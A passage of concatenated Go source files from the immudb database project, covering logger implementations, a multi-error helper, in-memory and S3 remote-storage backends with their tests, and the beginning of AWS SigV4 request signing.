gotLogger, tt.wantLoggerType) } }) } } ================================================ FILE: embedded/logger/memory.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package logger import ( "fmt" "strings" "sync" "time" ) type MemoryLogger struct { m sync.Mutex lines *[]string level LogLevel } func NewMemoryLogger() *MemoryLogger { return NewMemoryLoggerWithLevel(LogLevelFromEnvironment()) } func NewMemoryLoggerWithLevel(level LogLevel) *MemoryLogger { return &MemoryLogger{ lines: &[]string{}, level: level, } } func (l *MemoryLogger) Errorf(fmt string, args ...interface{}) { l.addLog(LogError, "ERR", fmt, args) } func (l *MemoryLogger) Warningf(fmt string, args ...interface{}) { l.addLog(LogWarn, "WRN", fmt, args) } func (l *MemoryLogger) Infof(fmt string, args ...interface{}) { l.addLog(LogInfo, "INF", fmt, args) } func (l *MemoryLogger) Debugf(fmt string, args ...interface{}) { l.addLog(LogDebug, "DBG", fmt, args) } func (l *MemoryLogger) GetLogs() []string { l.m.Lock() defer l.m.Unlock() return *l.lines } func (l *MemoryLogger) addLog(level LogLevel, prefix string, f string, args []interface{}) { if level < l.level { return } sb := &strings.Builder{} sb.WriteRune('[') sb.WriteString(time.Now().Format(time.RFC3339Nano)) sb.WriteString("] ") sb.WriteString(prefix) sb.WriteString(": ") fmt.Fprintf(sb, f, args...) l.m.Lock() defer l.m.Unlock() *l.lines = append(*l.lines, sb.String()) } // Close the logger ... func (l *MemoryLogger) Close() error { return nil } ================================================ FILE: embedded/logger/memory_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package logger_test import ( "fmt" "testing" "github.com/codenotary/immudb/embedded/logger" "github.com/stretchr/testify/require" ) func TestMemoryLogger(t *testing.T) { t.Setenv("LOG_LEVEL", "error") ml := logger.NewMemoryLogger() defer ml.Close() ml.Infof("hello %s!", "world") ml.Errorf("Hello %s!", "World") require.Len(t, ml.GetLogs(), 1) require.Regexp(t, `^\[.*\] ERR: Hello World!`, ml.GetLogs()[0]) for _, d := range []struct { level logger.LogLevel expectedNewLogs int }{ {logger.LogDebug, 4}, {logger.LogInfo, 3}, {logger.LogWarn, 2}, {logger.LogError, 1}, } { t.Run(fmt.Sprintf("filtering test (%+v)", d), func(t *testing.T) { ml2 := logger.NewMemoryLoggerWithLevel(d.level) ml2.Debugf("DEBUG") ml2.Infof("INFO") ml2.Warningf("WARNING") ml2.Errorf("ERROR") require.Equal(t, d.expectedNewLogs, len(ml2.GetLogs())) }) } } ================================================ FILE: embedded/logger/simple.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package logger import ( "io" "log" ) // SimpleLogger ... type SimpleLogger struct { Out io.Writer Logger *log.Logger LogLevel LogLevel } // NewSimpleLogger ... func NewSimpleLogger(name string, out io.Writer) Logger { return &SimpleLogger{ Out: out, Logger: log.New(out, name+" ", log.LstdFlags), LogLevel: LogLevelFromEnvironment(), } } // NewSimpleLoggerWithLevel ... func NewSimpleLoggerWithLevel(name string, out io.Writer, level LogLevel) Logger { return &SimpleLogger{ Logger: log.New(out, name+" ", log.LstdFlags), LogLevel: level, } } // Errorf ... func (l *SimpleLogger) Errorf(f string, v ...interface{}) { if l.LogLevel <= LogError { l.Logger.Printf("ERROR: "+f, v...) } } // Warningf ... func (l *SimpleLogger) Warningf(f string, v ...interface{}) { if l.LogLevel <= LogWarn { l.Logger.Printf("WARNING: "+f, v...) } } // Infof ... func (l *SimpleLogger) Infof(f string, v ...interface{}) { if l.LogLevel <= LogInfo { l.Logger.Printf("INFO: "+f, v...) } } // Debugf ... func (l *SimpleLogger) Debugf(f string, v ...interface{}) { if l.LogLevel <= LogDebug { l.Logger.Printf("DEBUG: "+f, v...) } } // Close the logger ... func (l *SimpleLogger) Close() error { if wc, ok := l.Out.(io.Closer); ok { return wc.Close() } return nil } ================================================ FILE: embedded/logger/simple_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package logger import ( "bytes" "fmt" "io/ioutil" "testing" "github.com/stretchr/testify/require" ) func TestSimpleLogger(t *testing.T) { t.Setenv("LOG_LEVEL", "error") name := "test-simple-logger" outputWriter := bytes.NewBufferString("") sl := NewSimpleLogger(name, outputWriter) sl.Debugf("some debug %d", 1) sl.Infof("some info %d", 1) sl.Warningf("some warning %d", 1) sl.Errorf("some error %d", 1) logBytes, err := ioutil.ReadAll(outputWriter) logOutput := string(logBytes) require.NoError(t, err) require.Contains(t, logOutput, name) require.Contains(t, logOutput, " ERROR: some error 1") require.NotContains(t, logOutput, "some debug 1") require.NotContains(t, logOutput, "some info 1") require.NotContains(t, logOutput, "some warning 1") outputWriter.Reset() sl3 := NewSimpleLoggerWithLevel(fmt.Sprintf("%s ", name), outputWriter, LogWarn) sl3.Debugf("some debug %d", 3) sl3.Infof("some info %d", 3) sl3.Warningf("some warning %d", 3) sl3.Errorf("some error %d", 3) logBytes, err = ioutil.ReadAll(outputWriter) require.NoError(t, err) logOutput = string(logBytes) require.NotContains(t, logOutput, "some debug 3") require.NotContains(t, logOutput, "ome info 2") require.Contains(t, logOutput, " WARNING: some warning 3") require.Contains(t, logOutput, " ERROR: some error 3") } func TestLogLevelFromEnvironment(t *testing.T) { t.Run("unset - default to info", func(t *testing.T) { t.Setenv("LOG_LEVEL", "") defaultLevel := LogLevelFromEnvironment() require.Equal(t, LogInfo, defaultLevel) }) t.Run("error", func(t *testing.T) { t.Setenv("LOG_LEVEL", "error") require.Equal(t, LogError, LogLevelFromEnvironment()) }) t.Run("warn", func(t *testing.T) { t.Setenv("LOG_LEVEL", "warn") require.Equal(t, LogWarn, LogLevelFromEnvironment()) }) t.Run("info", func(t *testing.T) { t.Setenv("LOG_LEVEL", "info") require.Equal(t, LogInfo, LogLevelFromEnvironment()) }) t.Run("debug", func(t *testing.T) { t.Setenv("LOG_LEVEL", "debug") require.Equal(t, LogDebug, LogLevelFromEnvironment()) }) } ================================================ FILE: embedded/multierr/multierr.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package multierr import ( "errors" "fmt" ) type MultiErr struct { errors []error } func NewMultiErr() *MultiErr { return &MultiErr{} } func (me *MultiErr) Append(err error) *MultiErr { if err != nil { me.errors = append(me.errors, err) } return me } func (me *MultiErr) Includes(err error) bool { for _, e := range me.errors { if errors.Is(e, err) { return true } } return false } func (me *MultiErr) HasErrors() bool { return len(me.errors) > 0 } func (me *MultiErr) Errors() []error { return me.errors } func (me *MultiErr) Reduce() error { if !me.HasErrors() { return nil } return me } func (me *MultiErr) Is(target error) bool { for _, err := range me.errors { if errors.Is(err, target) { return true } } return false } func (me *MultiErr) As(target interface{}) bool { for _, err := range me.errors { if errors.As(err, target) { return true } } return false } func (me *MultiErr) Error() string { return fmt.Sprintf("%v", me.errors) } ================================================ FILE: embedded/multierr/multierr_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package multierr import ( "errors" "testing" "github.com/stretchr/testify/require" ) type includedErrA struct { err string } func (e *includedErrA) Error() string { return e.err } type includedErrB struct { err string } func (e *includedErrB) Error() string { return e.err } type excludedErr struct { err string } func (e *excludedErr) Error() string { return e.err } func TestMultiErr(t *testing.T) { includedErrors := []error{ &includedErrA{err: "includedErrorA1"}, &includedErrA{err: "includedErrorA2"}, &includedErrB{err: "includedErrorB1"}, } eErr := &excludedErr{err: "excludedError1"} merr := NewMultiErr() require.NotNil(t, merr) require.False(t, merr.HasErrors()) require.Empty(t, merr.Errors()) require.Nil(t, merr.Reduce()) merr.Append(includedErrors[0]). Append(includedErrors[1]). Append(includedErrors[2]) require.Error(t, merr) require.True(t, merr.HasErrors()) require.Len(t, merr.Errors(), 3) require.True(t, merr.Includes(includedErrors[0])) require.True(t, merr.Includes(includedErrors[1])) require.True(t, merr.Includes(includedErrors[2])) require.False(t, merr.Includes(eErr)) require.ErrorIs(t, merr, includedErrors[0]) require.ErrorIs(t, merr, includedErrors[1]) require.NotErrorIs(t, merr, eErr) require.Contains(t, merr.Error(), "includedErrorA1") require.Contains(t, merr.Error(), "includedErrorA2") require.Contains(t, merr.Error(), "includedErrorB1") require.NotContains(t, merr.Error(), "excludedError1") require.Equal(t, merr, merr.Reduce()) var iErrA *includedErrA require.ErrorAs(t, merr, &iErrA) require.NotNil(t, iErrA) var iErrB *includedErrB require.ErrorAs(t, merr, &iErrB) require.NotNil(t, iErrB) var eErr2 *excludedErr require.False(t, errors.As(merr, &eErr2)) require.Nil(t, eErr2) } ================================================ FILE: embedded/remotestorage/memory/memory.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package memory import ( "bytes" "context" "errors" "fmt" "io" "io/ioutil" "math/rand" "sort" "strings" "sync" "time" remotestorage "github.com/codenotary/immudb/embedded/remotestorage" ) var ( ErrInvalidArguments = errors.New("invalid arguments") ) // Storage implements a simple in-memory remote storage type Storage struct { mutex sync.RWMutex objects map[string][]byte randomPutDelayMinMs, randomPutDelayMaxMs int } func Open() *Storage { return &Storage{ objects: map[string][]byte{}, } } func (r *Storage) Kind() string { return "memory" } func (r *Storage) String() string { return fmt.Sprintf("memory(%p):", r) } // Get opens a stream of data for given object func (r *Storage) Get(ctx context.Context, name string, offs, size int64) (io.ReadCloser, error) { if offs < 0 || size == 0 { return nil, ErrInvalidArguments } r.mutex.RLock() defer r.mutex.RUnlock() object, exists := r.objects[name] if !exists { return nil, remotestorage.ErrNotFound } objectLen := int64(len(object)) if offs > objectLen { offs = objectLen } if size < 0 || offs+size > objectLen { size = objectLen - offs } return ioutil.NopCloser(bytes.NewReader(object[offs : offs+size])), nil } func (r *Storage) randomPutDelay() time.Duration { delayMs := r.randomPutDelayMinMs + rand.Intn(r.randomPutDelayMaxMs-r.randomPutDelayMinMs+1) return time.Millisecond * time.Duration(delayMs) } // Put writes a remote s3 resource func (r *Storage) Put(ctx context.Context, name string, fileName string) error { object, err := ioutil.ReadFile(fileName) if err != nil { return err } store := func() { r.mutex.Lock() r.objects[name] = object r.mutex.Unlock() } delay := r.randomPutDelay() if delay > 0 { // Asynchronous store go func() { time.Sleep(delay) store() }() } else { // Synchronous store store() } return nil } func (r *Storage) Remove(ctx context.Context, name string) error { if validPath(name) { return ErrInvalidArguments } delete(r.objects, name) return nil } func (r *Storage) RemoveAll(ctx context.Context, path string) error { if !validPath(path) { return ErrInvalidArguments } for key := range r.objects { if strings.HasPrefix(key, path) { delete(r.objects, key) } } return nil } // Exists checks if a remove resource exists and can be read // Note that due to an asynchronous nature of cluod storage, // a resource stored with the Put method may not be immediately accessible func (r *Storage) Exists(ctx context.Context, name string) (bool, error) { r.mutex.RLock() defer r.mutex.RUnlock() _, exists := r.objects[name] return exists, nil } func (r *Storage) ListEntries(ctx context.Context, path string) ([]remotestorage.EntryInfo, []string, error) { r.mutex.Lock() defer r.mutex.Unlock() if !validPath(path) { return nil, nil, ErrInvalidArguments } subPathSet := map[string]struct{}{} entries := []remotestorage.EntryInfo{} for k := range r.objects { if !strings.HasPrefix(k, path) { continue } kWithoutPath := k[len(path):] nextSlash := strings.IndexRune(kWithoutPath, '/') if nextSlash == -1 { entries = append(entries, remotestorage.EntryInfo{ Name: kWithoutPath, Size: int64(len(r.objects[k])), }) } else { subPathSet[kWithoutPath[:nextSlash]] = struct{}{} } } sort.Slice(entries, func(i, j int) bool { return entries[i].Name < entries[j].Name }) subPaths := []string{} for k := range subPathSet { subPaths = append(subPaths, k) } sort.Strings(subPaths) return entries, subPaths, nil } func (r *Storage) SetRandomPutDelays(minMs, maxMs int) { r.mutex.Lock() defer r.mutex.Unlock() r.randomPutDelayMinMs = minMs r.randomPutDelayMaxMs = maxMs } func validPath(path string) bool { return path == "" || (strings.HasSuffix(path, "/") && !strings.Contains(path, "//") && path != "/") } var _ remotestorage.Storage = (*Storage)(nil) ================================================ FILE: embedded/remotestorage/memory/memory_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package memory import ( "context" "errors" "fmt" "io/ioutil" "os" "testing" "time" "github.com/codenotary/immudb/embedded/remotestorage" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func tmpFile(t *testing.T, data string) (fileName string, cleanup func()) { fl, err := ioutil.TempFile("", "") require.NoError(t, err) fmt.Fprint(fl, data) err = fl.Close() require.NoError(t, err) return fl.Name(), func() { os.Remove(fl.Name()) } } func storeData(t *testing.T, s *Storage, name, data string) { fl, c := tmpFile(t, data) defer c() err := s.Put(context.Background(), name, fl) require.NoError(t, err) } func TestRemoteStorageAPIMemory(t *testing.T) { storage := Open() ctx := context.Background() t.Run("Empty storage after initialization", func(t *testing.T) { object, err := storage.Get(ctx, "does-not-exist", 0, -1) assert.Nil(t, object) assert.Equal(t, remotestorage.ErrNotFound, err) exists, err := storage.Exists(ctx, "does-not-exist") require.NoError(t, err) assert.False(t, exists) }) t.Run("Single object store", func(t *testing.T) { fl, c := tmpFile(t, "objectdata") defer c() err := storage.Put(ctx, "object-name", fl) assert.NoError(t, err) exists, err := storage.Exists(ctx, "object-name") require.NoError(t, err) assert.True(t, exists) exists, err = storage.Exists(ctx, "does-not-exist") require.NoError(t, err) assert.False(t, exists) assert.Equal(t, 1, len(storage.objects)) t.Run("Read the whole object", func(t *testing.T) { data, err := storage.Get(ctx, "object-name", 0, 1000) require.NoError(t, err) readData, err := ioutil.ReadAll(data) require.NoError(t, err) require.Equal(t, []byte("objectdata"), readData) }) for _, d := range []struct { offset, size int64 expectedData string }{ {0, 4, "obje"}, // Beginning of the data {2, 4, "ject"}, // In the middle {0, 10, "objectdata"}, // Exact size {2, 10, "jectdata"}, // Past the end {100, 10, ""}, // Outside of the object } { t.Run(fmt.Sprintf("Read part of the object (%d-%d)", d.offset, d.size), func(t *testing.T) { data, err := storage.Get(ctx, "object-name", d.offset, d.size) require.NoError(t, err) readData, err := ioutil.ReadAll(data) require.NoError(t, err) require.Equal(t, []byte(d.expectedData), readData) }) } }) } func TestRemoteStorageAPIMemoryPutDelay(t *testing.T) { ctx := context.Background() t.Run("Object must not appear immediately", func(t *testing.T) { storage := Open() storage.SetRandomPutDelays(1000000, 1000000) fl, c := tmpFile(t, "object-data") defer c() err := storage.Put(ctx, "object-name", fl) require.NoError(t, err) exists, err := storage.Exists(ctx, "object-name") require.NoError(t, err) assert.False(t, exists) }) t.Run("object must appear after some delay", func(t *testing.T) { storage := Open() storage.SetRandomPutDelays(1, 1) fl, c := tmpFile(t, "object-data-2") defer c() err := storage.Put(ctx, "object-name", fl) require.NoError(t, err) // Data shold be stored within 1ms but due to go scheduler and threads // it may be delayed a bit more for i := 0; i < 100; i++ { time.Sleep(time.Millisecond) exists, err := storage.Exists(ctx, "object-name") require.NoError(t, err) if exists { break } } exists, err := storage.Exists(ctx, "object-name") require.NoError(t, err) require.True(t, exists) data, err := storage.Get(ctx, "object-name", 0, 10000) require.NoError(t, err) bytesRead, err := ioutil.ReadAll(data) require.NoError(t, err) require.Equal(t, []byte("object-data-2"), bytesRead) }) } func TestRemoteStorageAPIMemoryPutError(t *testing.T) { storage := Open() ctx := context.Background() err := storage.Put(ctx, "object-name", "/file/that/does/not/exist") assert.True(t, errors.Is(err, os.ErrNotExist)) } func TestRemoteStorageName(t *testing.T) { storage := Open() require.Contains(t, storage.String(), "memory") require.Equal(t, "memory", storage.Kind()) } func TestRemoteStorageGetInvalidParams(t *testing.T) { storage := Open() ctx := context.Background() r, err := storage.Get(ctx, "testfile", -1, 100) require.ErrorIs(t, err, ErrInvalidArguments) require.Nil(t, r) r, err = storage.Get(ctx, "testfile", 0, 0) require.ErrorIs(t, err, ErrInvalidArguments) require.Nil(t, r) } func TestRemoteStorageListEntries(t *testing.T) { storage := Open() storeData(t, storage, "path/file1", "") storeData(t, storage, "path/file2", "abc") storeData(t, storage, "path/subPath/file3", "defg") storeData(t, storage, "file4", "hi") storeData(t, storage, "path2/subPath/file5", "jklmnop") entries, subFolders, err := storage.ListEntries(context.Background(), "") require.NoError(t, err) require.Equal(t, []remotestorage.EntryInfo{ {Name: "file4", Size: 2}, }, entries) require.Equal(t, []string{"path", "path2"}, subFolders) entries, subFolders, err = storage.ListEntries(context.Background(), "path/") require.NoError(t, err) require.Equal(t, []remotestorage.EntryInfo{ {Name: "file1", Size: 0}, {Name: "file2", Size: 3}, }, entries) require.Equal(t, []string{"subPath"}, subFolders) } func TestRemoteStorageListEntriesInvalidArgs(t *testing.T) { storage := Open() for _, path := range []string{"/", "no_slash", "double_slash_//_inside/"} { t.Run(path, func(t *testing.T) { e, s, err := storage.ListEntries(context.Background(), path) require.ErrorIs(t, err, ErrInvalidArguments) require.Nil(t, e) require.Nil(t, s) }) } } func TestRemoteStorageRemove(t *testing.T) { storage := Open() storeData(t, storage, "path/file1", "") storeData(t, storage, "path/file2", "abc") storeData(t, storage, "path/subPath/file1", "defg") storeData(t, storage, "path/subPath/file2", "jklmnop") storeData(t, storage, "path/subPath/file3", "jklmnop") storeData(t, storage, "path/subPath/subPath1/file", "jklmnop") t.Run("test remove single object", func(t *testing.T) { err := storage.Remove(context.Background(), "path/subPath/file2/") require.ErrorIs(t, err, ErrInvalidArguments) err = storage.Remove(context.Background(), "path/subPath/file2") require.NoError(t, err) entries, _, err := storage.ListEntries(context.Background(), "path/subPath/") require.NoError(t, err) require.Len(t, entries, 2) require.Equal(t, "file1", entries[0].Name) require.Equal(t, "file3", entries[1].Name) }) t.Run("test remove folder", func(t *testing.T) { err := storage.RemoveAll(context.Background(), "path/subPath") require.ErrorIs(t, err, ErrInvalidArguments) err = storage.RemoveAll(context.Background(), "path/subPath/") require.NoError(t, err) entries, sub, err := storage.ListEntries(context.Background(), "path/") require.NoError(t, err) require.Len(t, entries, 2) require.Empty(t, sub) require.Equal(t, entries, []remotestorage.EntryInfo{ {Name: "file1", Size: 0}, {Name: "file2", Size: 3}, }) }) } ================================================ FILE: embedded/remotestorage/remote_storage.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package remotestorage import ( "context" "errors" "io" ) var ( ErrNotFound = errors.New("object not found") ) type EntryInfo struct { Name string Size int64 } type Storage interface { // Kind returns the kind of remote storage, e.g. `s3` Kind() string // String returns a human-readable representation of the storage String() string // Get opens a remote resource, if size < 0, read as much as possible Get(ctx context.Context, name string, offs, size int64) (io.ReadCloser, error) // Put saves a local file to a remote storage Put(ctx context.Context, name string, fileName string) error // Remove deletes a remote object Remove(ctx context.Context, name string) error // RemoveAll deletes all remote objects contained in a folder RemoveAll(ctx context.Context, path string) error // Exists checks if a remote resource exists and can be read. // Note that due to an asynchronous nature of cluod storage, // a resource stored with the Put method may not be immediately accessible. Exists(ctx context.Context, name string) (bool, error) // ListEntries list all entries available in the remote storage, // Entries must be sorted alphabetically ListEntries(ctx context.Context, path string) (entries []EntryInfo, subPaths []string, err error) } ================================================ FILE: embedded/remotestorage/s3/metrics.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package s3 import ( "io" "github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus/promauto" ) var ( metricsUploadBytes = promauto.NewCounter(prometheus.CounterOpts{ Name: "immudb_remoteapp_s3_upload_bytes", Help: "Number data bytes (excluding headers) uploaded to s3", }) metricsDownloadBytes = promauto.NewCounter(prometheus.CounterOpts{ Name: "immudb_remoteapp_s3_download_bytes", Help: "Number data bytes (excluding headers) downloaded from s3", }) ) type metricsCountingReadCloser struct { r io.ReadCloser c prometheus.Counter } func (m *metricsCountingReadCloser) Read(b []byte) (int, error) { n, err := m.r.Read(b) m.c.Add(float64(n)) return n, err } func (m *metricsCountingReadCloser) Close() error { return m.r.Close() } ================================================ FILE: embedded/remotestorage/s3/s3.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package s3 import ( "context" "crypto/hmac" "crypto/sha1" "crypto/sha256" "encoding/base64" "encoding/hex" "encoding/json" "encoding/xml" "errors" "fmt" "io" "io/ioutil" "log" "net/http" "net/url" "os" "regexp" "sort" "strconv" "strings" "time" "github.com/codenotary/immudb/embedded/remotestorage" ) type Storage struct { endpoint string S3RoleEnabled bool s3Role string accessKeyID string secretKey string bucket string prefix string location string httpClient *http.Client sessionToken string awsInstanceMetadataURL string awsCredsRefreshPeriod time.Duration useFargateCredentials bool } var ( ErrInvalidArguments = errors.New("invalid arguments") ErrKeyCredentialsProvided = errors.New("remote storage configuration already includes access key and/or secret key") ErrCredentialsCannotBeFound = errors.New("cannot find credentials based on instance role remote storage") ErrInvalidArgumentsOffsSize = fmt.Errorf("%w: negative offset or zero size", ErrInvalidArguments) ErrInvalidArgumentsNameStartSlash = fmt.Errorf("%w: name can not start with /", ErrInvalidArguments) ErrInvalidArgumentsNameEndSlash = fmt.Errorf("%w: name can not end with /", ErrInvalidArguments) ErrInvalidArgumentsInvalidName = fmt.Errorf("%w: invalid name", ErrInvalidArguments) ErrInvalidArgumentsPathNoEndSlash = fmt.Errorf("%w: path must end with /", ErrInvalidArguments) ErrInvalidArgumentsBucketSlash = fmt.Errorf("%w: bucket name can not contain / character", ErrInvalidArguments) ErrInvalidArgumentsBucketEmpty = fmt.Errorf("%w: bucket name can not be empty", ErrInvalidArguments) ErrInvalidResponse = errors.New("invalid response code") ErrInvalidResponseXmlDecodeError = fmt.Errorf("%w: xml decode error", ErrInvalidResponse) ErrInvalidResponseEntriesNotSorted = fmt.Errorf("%w: entries are not sorted", ErrInvalidResponse) ErrInvalidResponseEntryNameWrongPrefix = fmt.Errorf("%w: entry do not have correct prefix", ErrInvalidResponse) ErrInvalidResponseEntryNameMalicious = fmt.Errorf("%w: entry name contains invalid characters", ErrInvalidResponse) ErrInvalidResponseEntryNameUnescape = fmt.Errorf("%w: error un-escaping object name", ErrInvalidResponse) ErrInvalidResponseSubPathsNotSorted = fmt.Errorf("%w: sub-paths are not sorted", ErrInvalidResponse) ErrInvalidResponseSubPathsWrongPrefix = fmt.Errorf("%w: sub-paths do not have correct prefix", ErrInvalidResponse) ErrInvalidResponseSubPathsWrongSuffix = fmt.Errorf("%w: sub-paths do end with '/' suffix", ErrInvalidResponse) ErrInvalidResponseSubPathMalicious = fmt.Errorf("%w: sub-paths contain invalid characters", ErrInvalidResponse) ErrInvalidResponseSubPathUnescape = fmt.Errorf("%w: error un-escaping object name", ErrInvalidResponse) ErrTooManyRedirects = errors.New("too many redirects") arnRoleRegex = regexp.MustCompile(`arn:.*\/(.*)`) ) const maxRedirects = 5 func Open( endpoint string, S3RoleEnabled bool, s3Role string, accessKeyID string, secretKey string, bucket string, location string, prefix string, awsInstanceMetadataURL string, useFargateCredentials bool, ) (remotestorage.Storage, error) { // Endpoint must always end with '/' endpoint = strings.TrimRight(endpoint, "/") + "/" // Bucket must have no '/' at all bucket = strings.Trim(bucket, "/") if strings.Contains(bucket, "/") { return nil, ErrInvalidArgumentsBucketSlash } // Bucket name must not be empty if bucket == "" { return nil, ErrInvalidArgumentsBucketEmpty } // if prefix is not empty, it must end with '/' prefix = strings.Trim(prefix, "/") if prefix != "" { prefix = prefix + "/" } s3storage := &Storage{ endpoint: endpoint, S3RoleEnabled: S3RoleEnabled, s3Role: s3Role, accessKeyID: accessKeyID, secretKey: secretKey, bucket: bucket, location: location, prefix: prefix, httpClient: &http.Client{ CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, }, awsInstanceMetadataURL: awsInstanceMetadataURL, awsCredsRefreshPeriod: time.Minute, useFargateCredentials: useFargateCredentials, } err := s3storage.getRoleCredentials() if err != nil { return nil, err } return s3storage, nil } func (s *Storage) Kind() string { return "s3" } func (s *Storage) String() string { url, err := s.originalRequestURL("") if err != nil { return "s3(misconfigured)" } return "s3:" + url } func (s *Storage) originalRequestURL(objectName string) (string, error) { reqURL, err := url.Parse(fmt.Sprintf("%s%s%s", s.endpoint, s.prefix, objectName, )) if err != nil { return "", err } if !strings.HasPrefix(reqURL.Host, s.bucket+".") { reqURL.Path = "/" + s.bucket + reqURL.Path } return reqURL.String(), nil } func (s *Storage) s3SignedRequest( ctx context.Context, url string, method string, body io.Reader, contentType string, setupRequest func(req *http.Request) error, date time.Time, ) ( *http.Request, error, ) { if s.location == "" { // Missing location configuration, try V2 signatures that don't require it return s.s3SignedRequestV2(ctx, url, method, body, contentType, setupRequest, date) } return s.s3SignedRequestV4(ctx, url, method, body, contentType, "", setupRequest, date) } func (s *Storage) s3SignedRequestV4( ctx context.Context, reqUrl string, method string, body io.Reader, contentType string, contentSha256 string, setupRequest func(req *http.Request) error, t time.Time, ) ( *http.Request, error, ) { const authorization = "AWS4-HMAC-SHA256" const unsignedPayload = "UNSIGNED-PAYLOAD" const serviceName = "s3" req, err := http.NewRequestWithContext(ctx, method, reqUrl, body) if err != nil { return nil, err } err = setupRequest(req) if err != nil { return nil, err } timeISO8601 := t.Format("20060102T150405Z") timeYYYYMMDD := t.Format("20060102") scope := timeYYYYMMDD + "/" + s.location + "/" + serviceName + "/aws4_request" credential := s.accessKeyID + "/" + scope if contentSha256 == "" { contentSha256 = unsignedPayload } req.Header.Set("X-Amz-Date", timeISO8601) req.Header.Set("X-Amz-Content-Sha256", contentSha256) if s.S3RoleEnabled { req.Header.Set("X-Amz-Security-Token", s.sessionToken) } if contentType != "" { req.Header.Set("Content-Type", contentType) } canonicalURI := req.URL.Path // TODO: This may require some encoding canonicalQueryString := req.URL.Query().Encode() signerHeadersList := []string{"host"} for h := range req.Header { signerHeadersList = append(signerHeadersList, strings.ToLower(h)) } sort.Strings(signerHeadersList) signedHeaders := strings.Join(signerHeadersList, ";") canonicalHeaders := "" for _, h := range signerHeadersList { if h == "host" { canonicalHeaders = canonicalHeaders + h + ":" + req.Host + "\n" } else { canonicalHeaders = canonicalHeaders + h + ":" + req.Header.Get(h) + "\n" } } canonicalRequest := strings.Join([]string{ req.Method, canonicalURI, canonicalQueryString, canonicalHeaders, signedHeaders, contentSha256, }, "\n") canonicalRequestHash := sha256.Sum256([]byte(canonicalRequest)) stringToSign := authorization + "\n" + timeISO8601 + "\n" + scope + "\n" + hex.EncodeToString(canonicalRequestHash[:]) hmacSha256 := func(key []byte, data []byte) []byte { h := hmac.New(sha256.New, key) h.Write(data) return h.Sum(nil) } dateKey := hmacSha256([]byte("AWS4"+s.secretKey), []byte(timeYYYYMMDD)) dateRegionKey 